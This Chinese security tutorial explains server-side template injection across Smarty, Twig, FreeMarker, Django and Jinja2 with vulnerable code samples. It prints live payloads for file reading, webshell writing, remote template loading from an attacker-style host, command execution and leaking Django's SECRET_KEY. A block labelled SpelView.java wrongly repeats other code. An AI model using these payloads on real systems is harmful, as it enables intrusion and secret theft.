模板注入SSTI的基础学习理解(内容较干,收藏慢慢看哦)
文章介绍了服务器端模板注入(SSTI)的概念及其在PHP、Java和Python等语言中的常见模板引擎(如Smarty、Twig、Django等)中的表现形式,并通过实例代码展示了如何利用漏洞执行命令或获取敏感信息。文章还讨论了检测工具和攻击思路,并强调了不同模板引擎之间的差异及防范措施的重要性。 2025-12-31 01:3:17 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

SSTIS(服务器端模板注入)。如今的开发以及形成了成熟的MVC的模式,我们的输入通过v接受,交给c,由c调用m或者其他的c进行处理,最后再返还给v。 这里的v中就大量用到了模板技术,这里这种模板不仅仅指的是python,凡是使用模板的地方,就有可能存在SSTI问题,SSTI不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是犹豫模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防御机制。

1、php常用

1、Smarty

是一种比较老的php模板引擎了,比较经典,使用较广。

2、Twig

Twig是来自于Symfony的模板引擎,易于安装和使用,操作和Mustache和liquid较像。

3、Blade

Blade是Laravel提供的一个简单强大的模板引擎, 和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何额外负担。

2、java常用

1、JSP

经典的java模板引擎

2、FreeMarker

FreeMarker是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

3、Velocity

Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

3、python常用

1、jinja2

flask jinja2一直一起说的,使用很广

2、djanggo

django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道 django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了

3、tornado

tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

4、注意点

同一种语言不同的模板引擎支持的语法虽然很像,但是还是有略微的差异的,比如 tornado render() 中支持传入自定义函数,以及函数的参数,然后在两个大括号

{{}}

中执行,但是 django 的模板引擎相对于tornado 来说就相对难用一些

服务端接受了用户的而已输入之后,未经处理就将其作为web应用模板内容的一部分,模板引擎在进行渲染编译的时候,执行了掺入进去的语句,从而可以执行不安全的命令。 单纯的字符串拼接并不能带来注入问题,关键要看你拼接的是什么,如果是控制语句,就会造成数据域与代码域的混淆,这样就会出洞

1、php实例

这里分析一段php的代码

<?php  
// 引入Twig模板引擎的自动加载器文件  
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';  
// 注册Twig的自动加载器  
Twig_Autoloader::register(true);  
// 创建Twig环境,使用Twig_Loader_String加载器  
$twig = new Twig_Environment(new Twig_Loader_String());  
// 使用Twig渲染模板字符串,将用户输入作为模板变量的值传递进去  
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  
// 输出渲染后的内容  
echo $output;  
?>

这里我们去看,没有什么问题,将用户name参数的内容传递过去,渲染输出。
由于name已经有{{}},所以即便我们按照正常的测试{{2*2}}输出的内容也还是这个,而不会作为变量进行解析。

那么我们再来看这个代码

<?php  
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;  
Twig_Autoloader::register(true);  
  
$twig = new Twig_Environment(new Twig_Loader_String());  
$output = $twig->render("Hello {$_GET[‘name‘]}");  // 将用户输入作为模版内容的一部分  
echo $output;  
?>

注意:不要把这里的 {} 当成是模板变量外面的括号,这里的括号实际上只是为了区分变量和字符串常量而已**,于是我们输入 {{2*2}},我们会得到4这个结果,那么服务器就凉了。

2、python实例

实例代码1

@app.errorhandler(404)  
def page_not_found(e):  
    template = '''{%% extends "layout.html" %%}  
{%% block body %%}  
    <div class="center-content error">  
        <h1>Oops! That page doesn't exist.</h1>  
        <h3>%s</h3>  
    </div>  
{%% endblock %%}  
''' % (request.url)  
    return render_template_string(template), 404

使用@app.errorhandler(404)装饰器,捕捉应用中的404错误。 定义了一个名为page_not_found的处理404错误的函数。 在page_not_found函数中,构建了一个包含HTML模板的字符串。 在模板中,使用{% extends "layout.html" %}表示该模板继承自"layout.html"。 使用{% block body %} ... {% endblock %}定义了模板中的主体内容块。 在模板中插入了一些错误信息,例如页面不存在的提示和请求的URL。 最后,通过render_template_string方法渲染模板,并返回渲染后的内容和HTTP状态码404。 其实这里我们不需要看太多,这里代码的意思,就是将url这个变量进行传递,同时没有任何过滤 于是我们就能在URL后面跟上{{ 7*7 }} 自然而然就能计算出 49 了

实例代码2

# coding: utf-8  
import sys  
from jinja2 importTemplate  
  
template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))  
print template.render()

创建一个Jinja2模板,显示用户输入或字符串''(如果没有输入)。 使用sys.argv获取命令行参数,通过条件表达式判断是否有输入。 调用template.render()方法渲染模板。 其实这里,也只是使用了{}进行取值,直接输入我们的测试{{ 7*7 }}

3、java实例

实例1

漏洞分析:https://paper.seebug.org/70/ 详细分析可以看这个 漏洞浅析: 我们访问这个url会出现报错,并且在在页面上输出 K0rz3n

http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=K0rz3n

为什么会报错呢?因为K0rz3n 并不符合 redirect_uri 的格式规范 但当我们请求下面这个URL 的时候

http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}

同样会报错,但是非常奇怪的是,我们的

${}

表达式居然被执行了,输出了 2333,模板注入实锤了,我们来看一下代码,分析一下 路径:\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth2\src\main\java\org\springframework\security\oauth2\provider\endpoint\WhitelabelErrorEndpoint.java WhitelabelErrorEndpoint.java

@FrameworkEndpoint  // 标识为Spring Framework的端点(Endpoint)  
public class WhitelabelErrorEndpoint {  
  
    // 字符串模板,用于显示OAuth错误信息  
    private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";  
  
    // 处理"/oauth/error"路径的请求,返回渲染后的错误页面  
    @RequestMapping("/oauth/error")  
    public ModelAndView handleError(HttpServletRequest request) {  
        // 创建一个用于传递给视图的模型  
        Map<String, Object> model = new HashMap<String, Object>();  
  
        // 从请求属性中获取错误对象  
        Object error = request.getAttribute("error");  
  
        // 处理错误对象,提取错误摘要并进行防XSS处理  
        String errorSummary;  
        if (error instanceof OAuth2Exception) {  
            OAuth2Exception oauthError = (OAuth2Exception) error;  
            // 获取错误摘要并进行HTML转义,防止XSS攻击  
            errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());  
        } else {  
            errorSummary = "Unknown error";  
        }  
  
        // 将错误摘要放入模型中,供模板使用  
        model.put("errorSummary", errorSummary);  
  
        // 返回一个包含SpEL表达式视图的ModelAndView,用于渲染错误页面  
        return new ModelAndView(new SpelView(ERROR), model);  
    }  
}  

我们看到,当拿到错误信息以后,就交给了 SpelView(),我们跟进去看一下 这里继续看SpelView(), 路径:\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth-2.0.9.RELEASE\spring-security-oauth2\src\main\java\org\springframework\security\oauth2\provider\endpoint\SpelView.java

@FrameworkEndpoint  // 标识为Spring Framework的端点(Endpoint)  
public class WhitelabelErrorEndpoint {  
  
    // 字符串模板,用于显示OAuth错误信息  
    private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";  
  
    // 处理"/oauth/error"路径的请求,返回渲染后的错误页面  
    @RequestMapping("/oauth/error")  
    public ModelAndView handleError(HttpServletRequest request) {  
        // 创建一个用于传递给视图的模型  
        Map<String, Object> model = new HashMap<String, Object>();  
  
        // 从请求属性中获取错误对象  
        Object error = request.getAttribute("error");  
  
        // 处理错误对象,提取错误摘要并进行防XSS处理  
        String errorSummary;  
        if (error instanceof OAuth2Exception) {  
            OAuth2Exception oauthError = (OAuth2Exception) error;  
            // 获取错误摘要并进行HTML转义,防止XSS攻击  
            errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());  
        } else {  
            errorSummary = "Unknown error";  
        }  
  
        // 将错误摘要放入模型中,供模板使用  
        model.put("errorSummary", errorSummary);  
  
        // 返回一个包含SpEL表达式视图的ModelAndView,用于渲染错误页面  
        return new ModelAndView(new SpelView(ERROR), model);  
    }  
}

resolver 这个参数是经过递归的去

${}

处理的,不信我们看一下 replacePlaceholders()

public String replacePlaceholders(String value, final Properties properties) {  
    Assert.notNull(properties, "'properties' must not be null");  
    return replacePlaceholders(value, new PlaceholderResolver() {  
        @Override  
        public String resolvePlaceholder(String placeholderName) {  
            return properties.getProperty(placeholderName);  
        }  
    });  
}

很明显这里面递归调用了replacePlaceholders() 函数,最终能得到单纯的表达式,然后渲染的时候放在

实例2

在2015年的blackhat 大会上曾讲述了Alfresco 的一个 SSTI 漏洞,不过没有找到源码,只能拿来payload 分析一下。 实例代码:

<#assign[](javascript:;) ex="freemarker.template.utility.Execute"?new()>   
${ ex("id") }

结果:

uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)

解释:
https://freemarker.apache.org/docs/ref_builtins_expert.html#ref_builtin_new
经过我查阅上述freemarker 的文档,这里面的 ?new() 是其高级内置函数 用法如下:

<# - 创建一个用户定义的指令,调用类的参数构造函数 - >  
<#assign[](javascript:;) word_wrapp =“com.acmee.freemarker.WordWrapperDirective”?new()>  
<# - 创建一个用户定义的指令,用一个数字参数调用构造函数 - >  
<#assign[](javascript:;) word_wrapp_narrow =“com.acmee.freemarker.WordWrapperDirective”?new(40)>

相当于是,调用了构造函数创建了一个对象,那么这个 payload 中就是调用的 freemarker 的内置执行命令的对象 Excute 简单来说,就是先创建了一个对象,然后在后面调用,运行命令。

检测工具

这里提供一个大牛写的 SSTI 的检测工具 https://github.com/epinna/tplmap 有的时候出现 XSS 的时候,也有可能是 SSTI 漏洞,虽说模板引擎在大多数情况下都是使用的xss 过滤的,但是也不排除有些意外情况的出现,比如
有的模板引擎(比如 jinja2)在渲染的时候默认只针对特定的文件后缀名的文件(html,xhtml等)进行XSS过滤

攻击思路

1、攻击方向

我们需要从四个方面进行攻击 模板本身、框架本身、语言本身、应用本身

2、攻击方式

利用模板本身的特性进行攻击

smarty模板

是目前最流行的php模板之一, 为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function) 但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的好用的方法 比如:getStreamVariable() github 中明确指出,这个方法可以获取传入变量的流(说人话就是读文件) payload:

{self::getStreamVariable("file:///proc/self/loginuid")}

再比如:class Smarty_Internal_Write_File 有了上面的读文件当然要找一个写文件的了,这个类中有一个writeFile方法 那么读文件函数有了,我们还需要可以写入文件的函数 函数原型:

public function writeFile($_filepath, $_contents, Smarty $smarty)

上面的第三个参数就是smarty类型,后来找到了self::clearConfig() 写入文件对于攻击者是非常有利的,可以直接写入一句话getshell payload:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Twig模板

相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self:: 调用静态变量了,但是 通过官方文档的查询 , Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法,但是却有一个 env env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置 明显的攻击是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞: payload:

{{_self.env.setCache("ftp://attacker.net:2121")}}  
{{_self.env.loadTemplate("backdoor")}}

但是新的问题出现了 ,allow_url_include 一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter() 我们只要把exec() 作为回调函数传进去就能实现命令执行了 payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}  
  
{{_self.env.getFilter("id")}}
free marker(java)

这个模板主要用于 java ,在上面我举例 java 的 SSTI 的时候我已经简答的分析过这个的一个 payload,我希望读者也能按照 查找文档,查看框架源码,等方式寻找这个 payload 的思路来源 payload:

<#assign[](javascript:;) ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Django(python)
def view(request, *args, **kwargs):  
    template = 'Hello {user}, This is your email: ' + request.GET.get('email')  
    return HttpResponse(template.format(user=request.user))

注入点很明显就是 email,但是如果我们的能力已经被限制的很死,很难执行命令,但又想获取和 User 有关的配置信息的话,我么怎么办? 可以发现我们现在拿到的只有有一个 和user 有关的变量,那就是 request user ,那我们的思路是什么? 简单来说,在我们看不到源码的情况下,需要去利用框架本身的属性,看看框架的属性和类之间的引用。 Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件: 所以,思路就很明确了:我们只需要通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。 payload:

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}  
  
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
Flask/Jinja2(python)

config 是Flask模版中的一个全局对象,它代表“当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置


文章来源: https://www.freebuf.com/articles/web/464617.html
如有侵权请联系:admin#unsafe.sh